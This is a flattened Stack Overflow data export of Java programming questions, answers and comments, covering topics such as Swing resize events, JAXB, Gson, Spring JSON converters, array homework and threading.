has comment: http://stackoverflow.com/comment/33758693
has comment: http://stackoverflow.com/comment/33759293
answers question: http://stackoverflow.com/q/22230487
has comment: http://stackoverflow.com/comment/33756136
has comment: http://stackoverflow.com/comment/33757770

http://stackoverflow.com/q/22186077
has answer: http://stackoverflow.com/a/22186357
linked to: http://stackoverflow.com/q/14548808
answer count: 2
tagged with: window
tagged with: resize
has comment: http://stackoverflow.com/comment/33676954
has body: I have a program that scales an image to the size of the screen. I currently have a component listener listening for a componentResized event, but this is not what I want. I would like the method to only be called one the user lift's there finger off their mouse, not as they are doing the resizing. This way, my image will not constantly be resizing to the user's specifications. Thanks!
score: 0
linked to: http://stackoverflow.com/q/10229292
has title: Window Resize event
tagged with: listener
has comment: http://stackoverflow.com/comment/33676904
type: UnansweredQuestion
type: Question
tagged with: components
tagged with: java
has answer: http://stackoverflow.com/a/61808403

http://stackoverflow.com/q/22217805
has comment: http://stackoverflow.com/comment/33733376
tagged with: java
tagged with: oracle11g
type: Question
answer count: 1
has answer: http://stackoverflow.com/a/22218050
score: 0
tagged with: oracle-database
tagged with: sql
linked to: http://stackoverflow.com/q/400255
linked to: http://stackoverflow.com/q/4722220
tagged with: jdbc
has title: oracle 11g sql compare larger number of values
duplicate of: http://stackoverflow.com/q/400255
type: UnansweredQuestion
has body: I am writing the java program in which I need to compare the large number of List&lt;String&gt; ids to see are these ids are exist in the database ? I know it can be done with big select query select id from my_table where id in ('1','2''3''4''5'...) which leads very big sql query. is there any other way of doing this in Oracle 11g ? Thanks

http://stackoverflow.com/comment/33717851
comment on: http://stackoverflow.com/q/22208998
score: 0
type: Comment
type: QuestionComment
has text: Not a stupid question.. but google would have served you better than S.O. http://snook.ca/archives/javascript/javascript_pass

http://stackoverflow.com/q/22264281
tagged with: android
has answer: http://stackoverflow.com/a/34386054
has body: When I open the sdk manager in eclipse, error. [SDK Manager] 'C:\Program' is not recognized as an internal or external command, operable program or batch file. [SDK Manager] Exception in thread "main" java.lang.NoClassDefFoundError: org/eclipse/swt/widgets/Display [SDK Manager] at com.android.sdkmanager.Main.showSdkManagerWindow(Main.java:351) [SDK Manager] at com.android.sdkmanager.Main.doAction(Main.java:325) [SDK Manager] at com.android.sdkmanager.Main.run(Main.java:125) [SDK Manager] at com.android.sdkmanager.Main.main(Main.java:108) [SDK Manager] Caused by: java.lang.ClassNotFoundException: org.eclipse.swt.widgets.Display [SDK Manager] at java.net.URLClassLoader$1.run(URLClassLoader.java:202) [SDK Manager] at java.security.AccessController.doPrivileged(Native Method) [SDK Manager] at java.net.URLClassLoader.findClass(URLClassLoader.java:190) [SDK Manager] at java.lang.ClassLoader.loadClass(ClassLoader.java:306) [SDK Manager] at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:301) [SDK Manager] at java.lang.ClassLoader.loadClass(ClassLoader.java:247) [SDK Manager] ... 4 more This is my computer configuration. ANDROID_SDK_HOME - C:\adt-bundle-windows-x86_64-20131030\adt-bundle-windows-x86_64-20131030\sdk ANDROID_SWT - %ANDROID_SDK_HOME%\tools\lib\x86_64 CLASS_PATH - .;%JAVA_HOME%\lib\tools.jar JAVA_HOME - C:\Program Files\Java\jdk1.6.0_35 Path - C:\Windows\System32;%JAVA_HOME%\bin;%ANDROID_SDK_HOME%\platform-tools;%SystemRoot%system32;%SystemRoot%;C:\Program Files\Java\jdk1.6.0_35\bin;C:\Program Files\Common Files\Microsoft Shared\Windows Live;C:\Program Files (x86)\Common Files\Microsoft Shared\Windows Live;C:\Program Files (x86)\Intel\iCLS Client\;C:\Program Files\Intel\iCLS Client\;C:\Program Files (x86)\AMD APP\bin\x86_64;C:\Program Files (x86)\AMD APP\bin\x86;%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;C:\Program Files (x86)\ATI Technologies\ATI.ACE\Core-Static;C:\Program Files\Intel\Wi…
type: UnansweredQuestion
has title: Android SDK Manager in Eclipse find not path
tagged with: java
tagged with: eclipse
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/22264515
score: 0

http://stackoverflow.com/comment/33816620
score: 0
type: AnswerComment
has text: The doCommands method is not to do with the GUI itself, before to go button is pressed the user is able to open up an editor and write a command script for a domain based language, the commands entered are stored by the GUI ready to be executed when they are required, they involve the main code stuff. Thanks for the run tip, I will try it out tomorrow :)
type: Comment
comment on: http://stackoverflow.com/a/22263214

http://stackoverflow.com/q/22208342
favorite count: 0
has answer: http://stackoverflow.com/a/22209105
type: AnsweredQuestion
upvote count: 3
tagged with: java
has title: How to convert XML to Object using JAXB
tagged with: jaxb
type: Question
accepted answer: http://stackoverflow.com/a/22209105
tagged with: jersey
tagged with: dropwizard
score: 3
answer count: 1
downvote count: 0
has body: My client is using DropWizard/Jersey. I am getting a response back in the form of xml. It looks like this: I've created a file called package-info.java with following contents: @XmlSchema( namespace = "http://webservices.amazon.com/AWSECommerceService/2011-08-01", elementFormDefault = XmlNsForm.QUALIFIED) package com.aerstone.services.core.handlerpojos.amazon; import javax.xml.bind.annotation.XmlNsForm; import javax.xml.bind.annotation.XmlSchema; Finally, I have a POJO which looks like this. For now I'm just trying to map the title and ASIN. @XmlRootElement(name="ItemSearchResponse") public class AmazonItem { private String name; private String asin; public AmazonItem(){} @XmlJavaTypeAdapter(CollapsedStringAdapter.class) @XmlElement(name="Title") public String getName() { return name; } public void setName(String name){this.name = name;} @XmlJavaTypeAdapter(CollapsedStringAdapter.class) @XmlElement(name="ASIN") public String getAsin(){ return asin;} public void setAsin(String asin){ this.asin = asin; } } I'm using it like this: JAXBContext context = JAXBContext.newInstance(AmazonItem.class); Unmarshaller unMarshaller = context.createUnmarshaller(); newItem = (AmazonItem) unMarshaller.unmarshal(response); But I'm getting this error: ! javax.xml.bind.UnmarshalException: unexpected element (uri:"", local:"ItemLookupResponse"). Expected elements are &lt;{http://webservices.amazon.com/AWSECommerceService/2011-08-01}ItemSearchResponse&gt;

http://stackoverflow.com/comment/139214217
score: 0
type: Comment
has text: A minor nit-pick: _"the foreach loop uses an Iterator" ... "works with every kind of Iterable collection (or array)"_ - for arrays, it uses indexing instead of an iterator.
comment on: http://stackoverflow.com/a/22268270
type: AnswerComment

http://stackoverflow.com/a/22230739
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22230590
answers question: http://stackoverflow.com/q/22230590
score: 4
type: AcceptedAnswer
type: Answer
upvote count: 4
has body: panel.add(list); Should be: panel.add(listScrollPane);

http://stackoverflow.com/q/22273610
downvote count: 3
has comment: http://stackoverflow.com/comment/33834692
tagged with: java
has answer: http://stackoverflow.com/a/22273995
type: Question
has title: trouble with arrays and array lists
upvote count: 0
answer count: 1
tagged with: arrays
has body: This is for class homework. She is making us use array and array list in two parts. Basically she is showing us how using arraylist is alot easier than arrays. I am having alot of trouble getting the array part to work. Create a class called CustomerLister1 with a main method that instantiates an array of String objects called customerName. The array should have room for six String objects. Use an initializer list to put the following names into the array: Chris Lois Meg Peter Stewie Write an enhanced for loop to display the array of names. What is displayed for the last array element? Why is it that value? Add the Strings "Meg" and "Brian" into index 3, and 4, respectively, so that the array contains the following elements: Chris Lois Meg Meg Brian Peter Stewie Write an enhanced for loop to display the array of names. Write a second, traditional for loop that checks each element for the String “Meg”, if found in the array, remove it, shift the remaining elements, and display the array of names. Are both instances of "Meg" removed correctly from the array? This is my code public class CustomerLister1 { public static void main(String[] args) { String[] customerName = new String[7]; customerName[0] = "Chris"; customerName[1] = "Lois"; customerName[2] = "Meg"; customerName[3] = "Peter"; customerName[4] = "Stewie"; for (int i = customerName.length-1;i &gt; 3; i--) { customerName[i] = customerName[i - 2]; } customerName[3] = "Meg"; customerName[4] = "Brian"; for (int m = 0; m &lt;= customerName.length-1; m++) { if(customerName[m].equals("Meg")) { for(int j = m;j &lt; customerName.length;j++) { if(j &lt; customerName.length-2) { customerName[j]= customerName[j+1]; } else { customerName[j]=""; } } m--; } for (String element : customerName) { System.out.println(element); } } } } The output is wrong though it removes both the megs and then adds brian peter then two empty lines and then stewie. I need the empty lines to be gone and the output to print continuously.
favorite count: 0
score: -3
type: UnansweredQuestion

http://stackoverflow.com/q/22326822
tagged with: netbeans
type: UnansweredQuestion
tagged with: java
has answer: http://stackoverflow.com/a/26239170
type: Question
answer count: 1
tagged with: progress-bar
has body: I want to show the progress of the two thread. It works wonderful with one, but when I am trying to add another one, something is going wrong. I'm trying: ProgressHandle ph = ProgressHandleFactory.createHandle("MyTask1"); ph.start(); ph.finish(); ProgressHandle ph2 = ProgressHandleFactory.createHandle("MyTask2"); ph2.start(); ph2.finish(); What I need to do is to show progress of 2 executing tasks like in netbeans IDE.
score: 0
has title: Netbeans Platform Progress bar

http://stackoverflow.com/comment/33822779
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22259790
has text: I've changed the code snippets, plz check
score: 0

http://stackoverflow.com/q/22240925
accepted answer: http://stackoverflow.com/a/22241299
has comment: http://stackoverflow.com/comment/33775687
has title: Finding index of array with given parameter
linked to: http://stackoverflow.com/q/4962361
tagged with: java
has comment: http://stackoverflow.com/comment/33776023
answer count: 4
type: AnsweredQuestion
tagged with: arrays
has body: I'm working on a java program, but I'm stuck on this specific section. This function is suppose to take an array as input and returns the index of the first occurrence of target in the input array, or -1 if not found. The function is suppose to call my contains method. contains() public static boolean contains(int[] input, int target) { for(int i = 0; i &lt; input.length; i++){ if (target == input[i]){ return true; } } return false; } indexof() public static int indexOf(int[] input, int target) { if(contains(input, target) == true){ return i; } return -1; } I am trying to return what the variable i was in the contains method, but I'm not sure how to make the variable i transfer from the contains method to the indexof method without making it a public int in the constructor. Thanks for your help. ----------EDIT---------- The contains method is suppose to search the given array for the target value. If the target value exists somewhere in the array, return true. if not, return false. If any alterations need to be made to the contains method, that may be done as well.
has answer: http://stackoverflow.com/a/22241299
type: Question
has answer: http://stackoverflow.com/a/22241656
has comment: http://stackoverflow.com/comment/33775681
has comment: http://stackoverflow.com/comment/33775667
has answer: http://stackoverflow.com/a/22240981
score: 0
possible better answer: http://stackoverflow.com/a/22240966
has comment: http://stackoverflow.com/comment/33775805
has comment: http://stackoverflow.com/comment/33776093
has answer: http://stackoverflow.com/a/22240966

http://stackoverflow.com/comment/33793060
score: 0
type: Comment
type: QuestionComment
has text: @Raghunandan all right as you said.
comment on: http://stackoverflow.com/q/22250538

http://stackoverflow.com/comment/33918403
comment on: http://stackoverflow.com/a/22311119
has text: Actually most drivers do not escape the parameters: parameters are usually sent separate from the statement and therefor do not need to be escaped.
type: Comment
score: 1
type: AnswerComment

http://stackoverflow.com/comment/33667539
score: 0
has text: I edited the value String line = scanner.nextLine(); instead to scan.nextLine(); (I am guessing that was what you meant). With the new code I am getting 0 null for the entirety of the first column. I will try the tip you mentioned about saving the overwrite.
type: Comment
comment on: http://stackoverflow.com/a/22179489
type: AnswerComment

http://stackoverflow.com/a/22286175
has comment: http://stackoverflow.com/comment/33878237
type: Answer
upvote count: 3
score: 3
answers question: http://stackoverflow.com/q/22286097
downvote count: 0
has body: See the FAQ: If a JVM is installed in the eclipse/jre directory, Eclipse will use it; otherwise the launcher will consult the eclipse.ini file and the system path variable. Eclipse DOES NOT consult the JAVA_HOME environment variable. To explicitly specify a JVM of your choice, you can use the -vm command line argument

http://stackoverflow.com/a/22168916
has comment: http://stackoverflow.com/comment/33651517
has comment: http://stackoverflow.com/comment/33647285
answers question: http://stackoverflow.com/q/22168803
score: 0
has comment: http://stackoverflow.com/comment/33646860
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33646297
has comment: http://stackoverflow.com/comment/33645428
has comment: http://stackoverflow.com/comment/33646338
type: Answer
has comment: http://stackoverflow.com/comment/33646416
has comment: http://stackoverflow.com/comment/33646592
has comment: http://stackoverflow.com/comment/33645949
has comment: http://stackoverflow.com/comment/33646238
has comment: http://stackoverflow.com/comment/33646029
has comment: http://stackoverflow.com/comment/33645763
has comment: http://stackoverflow.com/comment/33682078
has body: Use getters and setters for embeddedId . Query query = em.createNamedQuery("AuthorWork.findAll"); List authorList = query.getResultList(); Iterator authorIterator = authorList.iterator(); while (authorIterator.hasNext()) { author = (AuthorWorkEmbedded) authorIterator.next(); System.out.println("Book Id " + author.setEmbeddedId().getBookId() + " " + "Author" + author.getEmbeddedId().getAuthorId() + ""); System.out.println(""+author.getColumnA()); }
has comment: http://stackoverflow.com/comment/33646541
accepted answer of: http://stackoverflow.com/q/22168803

http://stackoverflow.com/a/22262980
has body: Documentation in http://docs.oracle.com/javase/tutorial/java/javaOO/accesscontrol.html says this. The protected modifier specifies that the member can only be accessed within its own package (as with package-private) and, in addition, by a subclass of its class in another package. But your problem is, you are trying to access a protected member of a different object than this. Check this one out http://bmanolov.free.fr/javaprotection.php
answers question: http://stackoverflow.com/q/22262847
upvote count: 1
type: Answer
downvote count: 0
score: 1

http://stackoverflow.com/q/22273656
upvote count: 0
tagged with: java
linked to: http://stackoverflow.com/q/22256288
has comment: http://stackoverflow.com/comment/33834606
score: -1
type: Question
has comment: http://stackoverflow.com/comment/33835018
answer count: 1
downvote count: 1
favorite count: 0
type: UnansweredQuestion
has title: How do I get my Caesar cipher to compound its encryption?
tagged with: encryption
has body: I'm trying to get a Caesar cipher program to compound its encryption. I'm starting with this code: import java.util.*; public class Codes{ /** * Encode and decode a message using a key of values stored in * a queue. */ public static void main(String[] args) { int[] key = {7, 6, 5, 2, 8, 5, 8, 6, 4, 1}; Integer keyValue; String encoded = "", decoded = ""; String message = "Queues are useful for encoding messages"; Queue&lt;Integer&gt; encodingQueue = new LinkedList&lt;Integer&gt;(); Queue&lt;Integer&gt; decodingQueue = new LinkedList&lt;Integer&gt;(); //load key queues for (int scan = 0; scan &lt; key.length; scan++) { encodingQueue.add(key[scan]); decodingQueue.add(key[scan]); } //encode message { for (int scan = 0; scan &lt; message.length(); scan++) { keyValue = encodingQueue.remove(); encoded += (char) (message.charAt(scan) + keyValue); encodingQueue.add(keyValue); } System.out.println ("Encoded Message: " + encoded); } //decode message { for (int scan = 0; scan &lt; encoded.length(); scan++) { keyValue = decodingQueue.remove(); decoded += (char) (encoded.charAt(scan) - keyValue); decodingQueue.add(keyValue); } System.out.println("Decoded Message: " + decoded); } } } Basically I want to take the encoded message and encode it to get a second level of encryption, and do it a total of 5 times. Then I want to decode the message step by step, so take the latest encoded version and work it backwards to the 4th encoded version, then to the 3rd etc., until the message is decoded back into its original state. I also want to print each encoded and decoded version of the message.
has answer: http://stackoverflow.com/a/22273816

http://stackoverflow.com/comment/33655210
type: QuestionComment
comment on: http://stackoverflow.com/q/22174283
has text: Then maybe list in your question, what you have tried.
score: 0
type: Comment

http://stackoverflow.com/a/22275323
answers question: http://stackoverflow.com/q/22275208
score: -1
downvote count: 1
upvote count: 0
type: Answer
has body: Build the array of record positions inside the file (kind of index), maybe it would fit into memory instead. You need a 8 byte java long per file record. Sort the array, loading records only for comparison and not retaining (use RandomAccessFile). After sorting, write the new final file using index pointers to get the records in the needed order. This will also work if the records are not all the same size.

http://stackoverflow.com/a/22281915
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/63506275
has body: For un-authenticated access to the API functions you will need an API-Key. Client ID/Secret are only necessary for OAuth. If you do a request on the API explorer it will display a URL like this https://www.googleapis.com/plus/v1/people/&lt;userid&gt;?key={YOUR_API_KEY} If you are using simple HTTP requests to retrieve data you just have to replace {YOUR_API_KEY} accordingly. If you are using any of the client libraries, they all have methods to set the API Key, which will then be appended to all calls automatically. You can get an API Key similar to how you get Client ID/Secret from the Google Developers Console. Just look for "Your Project" -> APIs &amp; Auth -> Credentials and use "Create new key" there, if one hasn't been created automatically already.
has comment: http://stackoverflow.com/comment/33849767
has comment: http://stackoverflow.com/comment/33849933
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22280728
answers question: http://stackoverflow.com/q/22280728
has comment: http://stackoverflow.com/comment/33859628
type: Answer

http://stackoverflow.com/comment/33814965
type: Comment
comment on: http://stackoverflow.com/a/22262121
score: 0
type: AnswerComment
has text: @Mrambo: You're welcome. It just makes it so much easier to help when a decent one has been created and posted. For example look at [this guy's question](http://stackoverflow.com/q/22261579/522444) from today. It's his first question here and he posted a damn nice minimal example. Kudos to him!

http://stackoverflow.com/q/22312352
score: 3
upvote count: 3
tagged with: java
type: Question
has answer: http://stackoverflow.com/a/22312405
answer count: 2
tagged with: runnable
possible better answer: http://stackoverflow.com/a/22312415
downvote count: 0
has body: So I am trying to make a music player that runs on a separate thread. I want to have methods inside of the Player class (that implements Runnable) to pause, play and go to next/prev song. If I was to call inner methods of the Thread, would it still run on a separate thread? Everything works as it should, but I am still new to Threads so I'm not sure if this is good practice or not. Could someone shed some light on this? class Player implements Runnable, OnCompletionListener { public static final String TAG = "Player"; private MediaPlayer mp; private boolean isPlaying = false; private SongsManager sm = null; private ArrayList&lt;HashMap&lt;String, String&gt;&gt; songsList = new ArrayList&lt;HashMap&lt;String, String&gt;&gt;(); private int currentSongIndex = 0; public Player(int currentSongIndex){ mp = new MediaPlayer(); mp.setOnCompletionListener(this); sm = new SongsManager(); songsList = sm.getSongList(); this.currentSongIndex = currentSongIndex; } @Override public void run() { try{ mp.reset(); mp.setDataSource(songsList.get(currentSongIndex).get(SongsManager.KEY_PATH)); mp.prepare(); mp.start(); isPlaying = true; } catch (IllegalArgumentException e){ e.printStackTrace(); } catch (IllegalStateException e){ e.printStackTrace(); } catch (IOException e){ e.printStackTrace(); } } public synchronized void pause() { if (isPlaying){ if (mp != null){ mp.pause(); isPlaying = false; } } } public synchronized void play() { if (!isPlaying){ if (mp != null){ mp.start(); isPlaying = true; } } } ... } So say, if I created a new Thread like so, Player player = new Player(0); playerThread = new Thread(player, Player.TAG); playerThread.start(); and called player.pause(), then player.play() from a different thread, would the player still be running on the separate thread?
has answer: http://stackoverflow.com/a/22312415
accepted answer: http://stackoverflow.com/a/22312405
favorite count: 0
has title: Calling methods from a running Thread
tagged with: multithreading
tagged with: methods
type: AnsweredQuestion

http://stackoverflow.com/a/22274933
type: AcceptedAnswer
downvote count: 0
type: Answer
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/22271828
accepted answer of: http://stackoverflow.com/q/22271828
has body: Your code works fine on my machine: import java.awt.Color; import java.awt.FlowLayout; import javax.swing.JEditorPane; import javax.swing.JFrame; import javax.swing.JPanel; import javax.swing.WindowConstants; import javax.swing.border.Border; import javax.swing.border.LineBorder; public class JEditorPaneBorderExample { public static void main(String[] args) { JFrame jFrame = new JFrame(); jFrame.setDefaultCloseOperation(WindowConstants.DISPOSE_ON_CLOSE); jFrame.setSize(400, 300); JPanel panel = new JPanel(new FlowLayout()); jFrame.setContentPane(panel); JEditorPane editor = new JEditorPane(); new JEditorPaneBorderExample().remove_border(editor); panel.add(editor); jFrame.setVisible(true); } private Border b = new LineBorder(Color.black, 1); void remove_border(JEditorPane com) { com.setBorder(b); } }

http://stackoverflow.com/comment/33759295
comment on: http://stackoverflow.com/q/22231061
has text: Can you elaborate on what you mean by the "annotation doesn't work anymore"? Do you mean it doesn't compile? Is the aws-java-sdk pulling in other dependencies that affects your classpath? Try running `mvn dependency:tree`
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33827343
comment on: http://stackoverflow.com/q/22269458
score: 0
has text: The server certificate is also directly signed by the above CA, which CA?
type: QuestionComment
type: Comment

http://stackoverflow.com/a/22576700
has body: You should ask yourself the following question "Do I want to support older (&lt;4) android versions?" If you don't want to, you don't have to use AppCompat. If you do want to support older versions, you simply include the Appcombat library. Right click on your Hierarchy and select import. Browse to the location of your SDK/Extras/Android/Support/V7/Appcompat/ and import that library. Now mark the project as a library and add the Library to your app. Now, Appcompat can actually be resolved.
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22290100

http://stackoverflow.com/comment/34541533
type: QuestionComment
has text: Would you mind to show us you project dependancies? Are you using shark, or hadoop-core ?
comment on: http://stackoverflow.com/q/22278620
score: 0
type: Comment

http://stackoverflow.com/q/22270723
tagged with: hashmap
favorite count: 0
has body: I have jTextField named "p0_1000" And i use below methods can call it by name; Creating Hashmap in class. private HashMap componentMap; Fill hashmap with components name. private void createComponentMap() { componentMap = new HashMap&lt;String,Component&gt;(); Component[] components = jDesktopPane1.getComponents(); for (int i=0; i &lt; components.length; i++) { componentMap.put(components[i].getName(), components[i]); } } For call components by their names. public Component getComponentByName(String name) { if (componentMap.containsKey(name)) { return (Component) componentMap.get(name); } else return null; } If i use directly p0_1000.setToolTipText("trying"); succesfully appear tooltiptext when mouse on releated textfield. But if i use getComponentByName("p0_1000").setToolTipText("trying"); setToolTipText not recognized. getComponentByName("p0_1000") succesfully working i tested. Because if i type "." after method name, avaliable action list come and i can use them (example .setVisible(false) working succesfully) Some add, set or get commands not in avaliable action list when i call componen by name. Any advice, idea, comments are appreciated. Regards. ---SOLVED--- public JComponent getComponentByName(String name) { if (componentMap.containsKey(name)) { return (JComponent) componentMap.get(name); } else return null; } Above changes solve my problem.
has title: Getting Components by name not support all actions?
has answer: http://stackoverflow.com/a/22270801
accepted answer: http://stackoverflow.com/a/22270801
tagged with: swing
has answer: http://stackoverflow.com/a/22270889
score: 2
type: AnsweredQuestion
tagged with: components
downvote count: 0
tagged with: java
possible better answer: http://stackoverflow.com/a/22270889
type: Question
upvote count: 2
answer count: 2

http://stackoverflow.com/q/22172607
has answer: http://stackoverflow.com/a/22173120
type: UnansweredQuestion
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/22225514
score: 0
tagged with: java
tagged with: http://stackoverflow.com/tag/json
answer count: 2
tagged with: gson
has title: How to extract a field with Gson?
upvote count: 1
downvote count: 1
has body: I have this json code (it's a part of entire json-code): { "numFound": 41, "edges": [ { "endLemmas": "albero", "context": "/ctx/all", "end": "/c/it/albero/v", "features": [ "/c/it/alberatura /r/ConceptuallyRelatedTo -", "/c/it/alberatura - /c/it/albero/v", "- /r/ConceptuallyRelatedTo /c/it/albero/v" ], "license": "/l/CC/By-SA", "start": "/c/it/alberatura", "startLemmas": "alberatura", "text": [ "albero", "alberatura" ], "uri": "/a/[/r/ConceptuallyRelatedTo/,/c/it/alberatura/,/c/it/albero/v/]", "weight": 1.0, "dataset": "/d/conceptnet/5/combined-sa", "sources": [ "/and/[/s/rule/wiktionary_monolingual_definitions/,/s/web/en.wiktionary.org/]" ], "score": 7.81056, "rel": "/r/ConceptuallyRelatedTo", "timestamp": "2013-09-12T16:30:04.157Z", "nodes": [ "/r/ConceptuallyRelatedTo", "/c/it/albero/v", "/c/it/alberatura" ], "id": "/e/021aa72c7605d9d2000f0774a0bf9042699fa6ee", "surfaceText": "alberatura ConceptuallyRelatedTo albero" }, How to do I extract the field "features" ? I can extract some fields, like "context" or "end", but for "features" I can't! :( My Java code: public static void main(String[] args) throws IOException { URL url = new URL("http://conceptnet5.media.mit.edu/data/5.1/c/it/albero?get=context"); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setRequestMethod("GET"); conn.setRequestProperty("Accept", "application/json"); BufferedReader br = new BufferedReader(new InputStreamReader((conn.getInputStream()))); String inputLine; GsonCNItem gsonCNObj = new Gson().fromJson(br, GsonCNItem.class); for (int i = 0; i &lt; 3; i++) { try{ gsonCNObj.getCNThing(i); }catch (IndexOutOfBoundsException e) {} } } My GsonCNItem class: public class GsonCNItem { private String context; private String end; private List&lt;GsonCNItem&gt; edges; public List&lt;GsonCNItem&gt; getCNedges(){ return edges; } public void getCNThing (int i){ System.out.println(edges.get(i)); } public String toString(){ return String.format("Context: %s\nend: %s",context,e…
has comment: http://stackoverflow.com/comment/33652438

http://stackoverflow.com/q/22263525
type: Question
has body: In my filter I would like to filter a request from "/a/b/c" to "/index.html", I use: req.getRequestDispatcher("/index.html").include(request, response); It works but after forwarding the request to index.html, the client request wrong js and css path in index.html: For example it requests /a/b/c/css/bootstrap.min.css but should be /css/bootstrap.min.css. What I want to do is just forward requesting to /a/b/c to index.html, without changing the request path of other resources. Any ideas? Thanks.
tagged with: servlets
has title: Servlet forward in filter give unexpect result
has answer: http://stackoverflow.com/a/22263597
answer count: 1
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22263597
score: 0
tagged with: java

http://stackoverflow.com/q/22295638
favorite count: 0
tagged with: constructor
upvote count: 5
has title: getDeclaredConstructors() lists 2 constructors but there is only one
has body: Given this little pice of code: import java.util.Arrays; public class Sample { private final int test; private Sample(int test) { this.test = test; } public static void main(String[] args) { System.out.println(Arrays.toString(Hello.class.getDeclaredConstructors())); } public static class Hello { private final int i; private Hello(int i) { this.i = i; } public int getI() { return i; } public static class Builder { private int i; private Builder() { } public static Builder builder() { return new Builder(); } public void add(int i) { this.i = i; } public Hello build() { return new Hello(i); } } } } i don't understand the output that is shown: [private Sample$Hello(int), Sample$Hello(int,Sample$1)] what is the second listed constructor in here with the second parameter to the Builder. I thought that the output will only show the private constructor of Hello but not the second one.
has comment: http://stackoverflow.com/comment/33874288
has comment: http://stackoverflow.com/comment/33874596
tagged with: jls
type: AnsweredQuestion
downvote count: 0
tagged with: reflection
has comment: http://stackoverflow.com/comment/33875134
accepted answer: http://stackoverflow.com/a/22296603
tagged with: java
has comment: http://stackoverflow.com/comment/33875494
type: Question
has comment: http://stackoverflow.com/comment/33874612
score: 5
has answer: http://stackoverflow.com/a/22296603
answer count: 1
has comment: http://stackoverflow.com/comment/33874169
has comment: http://stackoverflow.com/comment/33878273
linked to: http://stackoverflow.com/q/14266052

http://stackoverflow.com/comment/33825133
comment on: http://stackoverflow.com/a/22268256
score: 0
type: AnswerComment
has text: PreparedStatement has setInt() http://docs.oracle.com/javase/7/docs/api/java/sql/PreparedStatement.html#setInt(int, int)
type: Comment

http://stackoverflow.com/a/22297367
type: AcceptedAnswer
has body: If you cache the source object via memcache, it has to be serialized and deserialized. Which is a lot of overhead. So caching the JSON object is faster. Two advices on this: Avoid the character encoding: If possible store the JSON object as byte array and not as string or char array and return it via HttpResponse.getOutputStream(json). This way you also bypass the additional character encoding. Cache the whole response: If the JSON is a result of a REST query, it is event better to cache the complete request via a caching server in front of your application (e.g. varnish, nginx, apache traffic server.). Just put the right http cache headers on it and you are fine.
has comment: http://stackoverflow.com/comment/54597674
type: Answer
accepted answer of: http://stackoverflow.com/q/22293873
score: 2
answers question: http://stackoverflow.com/q/22293873
downvote count: 0
upvote count: 2

http://stackoverflow.com/comment/33809818
type: QuestionComment
has text: Please more information. Like the line where the exception occurs.
comment on: http://stackoverflow.com/q/22259891
score: 2
type: Comment

http://stackoverflow.com/a/22260865
score: 0
has body: When you client starts up send a message to server to get the current info on Book Stock. In the server you are already listening to different type of messages, let it handle one more message - GetStockInfo. You can then send the names of the books that are stored on the server to the client. This should solve your issue.
type: Answer
answers question: http://stackoverflow.com/q/22260789

http://stackoverflow.com/a/22256605
answers question: http://stackoverflow.com/q/22256445
downvote count: 0
has body: A SortedSet uses compareTo for evaluation if an element can be added to the Set. Your input contains two names with same length (your comparison criterion), hence one of Joe or Sue must be filtered out (in your case Sue).
score: 1
has comment: http://stackoverflow.com/comment/33804195
upvote count: 1
type: Answer

http://stackoverflow.com/q/22248171
has comment: http://stackoverflow.com/comment/34203196
tagged with: java
tagged with: http://stackoverflow.com/tag/json
score: 0
has answer: http://stackoverflow.com/a/22248592
has comment: http://stackoverflow.com/comment/34201283
has comment: http://stackoverflow.com/comment/34204763
answer count: 1
has body: I'm having issues trying to setup JSON marshaling in an XML free config in Spring 3.2.5 Here's my config class: @Configuration @EnableWebMvc @ComponentScan(basePackages = "com.pworld.mvc.controller") @Import(DatabaseBeansConfig.class) public class MainServletConfig extends WebMvcConfigurerAdapter { private static Logger logger = LoggerFactory.getLogger("MainServletConfig"); private List<HttpMessageConverter<?>> messageConverters; // Cached: this @Override void configureMessageConverters(List<HttpMessageConverter<?>> converters) { // Note: this overwrites the default message converters. converters.addAll(getMessageConverters()); } /** * The message converters for the content types we support. * * @return the message converters; returns the same list on subsequent calls */ private List<HttpMessageConverter<?>> getMessageConverters() { if (messageConverters == null) { messageConverters = new ArrayList<HttpMessageConverter<?>>(); messageConverters.add(new MappingJacksonHttpMessageConverter()); } return messageConverters; } } If I debug this code I can see there's already a MappingJackson2HttpMessageConverter in within the default converters so it shouldn't be needed to add another one right? My controller: @RequestMapping(value = CARS_URL + HTML_SUFFIX, method = RequestMethod.POST, consumes = {MediaType.APPLICATION_JSON}, produces = {MediaType.APPLICATION_JSON}) @ResponseBody public Car handlePagination(Model model, @RequestParam(value = PAG_NUM, required = true) int pagNum, @RequestParam(value = ITEMS_PER_PAGE, required = true) int itemsPerPage) { return new Car(); } So when every time I consume that method I get a HTTP Status 406 - Not Acceptable response I tried returning a plain String and it works, it's only JSON parsing that isn't kicking in... I have in my classpath: com.fasterxml.jackson.core jackson-core 2.1.1 com.fasterxml.jackson.core jackson-databind 2.1.2 com.fasterxml.jackson.core jackson-annotations 2.1.2 What else I'm I missing? I never had a problem get…
has comment: http://stackoverflow.com/comment/34202888
has title: MappingJacksonHttpMessageConverter not working with @EnableWebMvc
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/34203294
has comment: http://stackoverflow.com/comment/34203984
tagged with: spring
has comment: http://stackoverflow.com/comment/33801817
type: Question

http://stackoverflow.com/comment/33775087
has text: Eclipse has a great debugger. Use it. Run your program in the debugger, and when it hangs, pause it. It will show you exactly what line its stuck on, and you can step through and see what it's doing.
comment on: http://stackoverflow.com/q/22240545
score: 3
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/33827169
has text: Consider this: If you create 100 Tasks that should load additional resources and perform some local computation and you want to react to the 'all_tasks_done' event: Now if all tasks load images from a Webserver then those requests will be syncronized either way, because the Webserver can only process one request (or O(1)) at a time.
type: AnswerComment
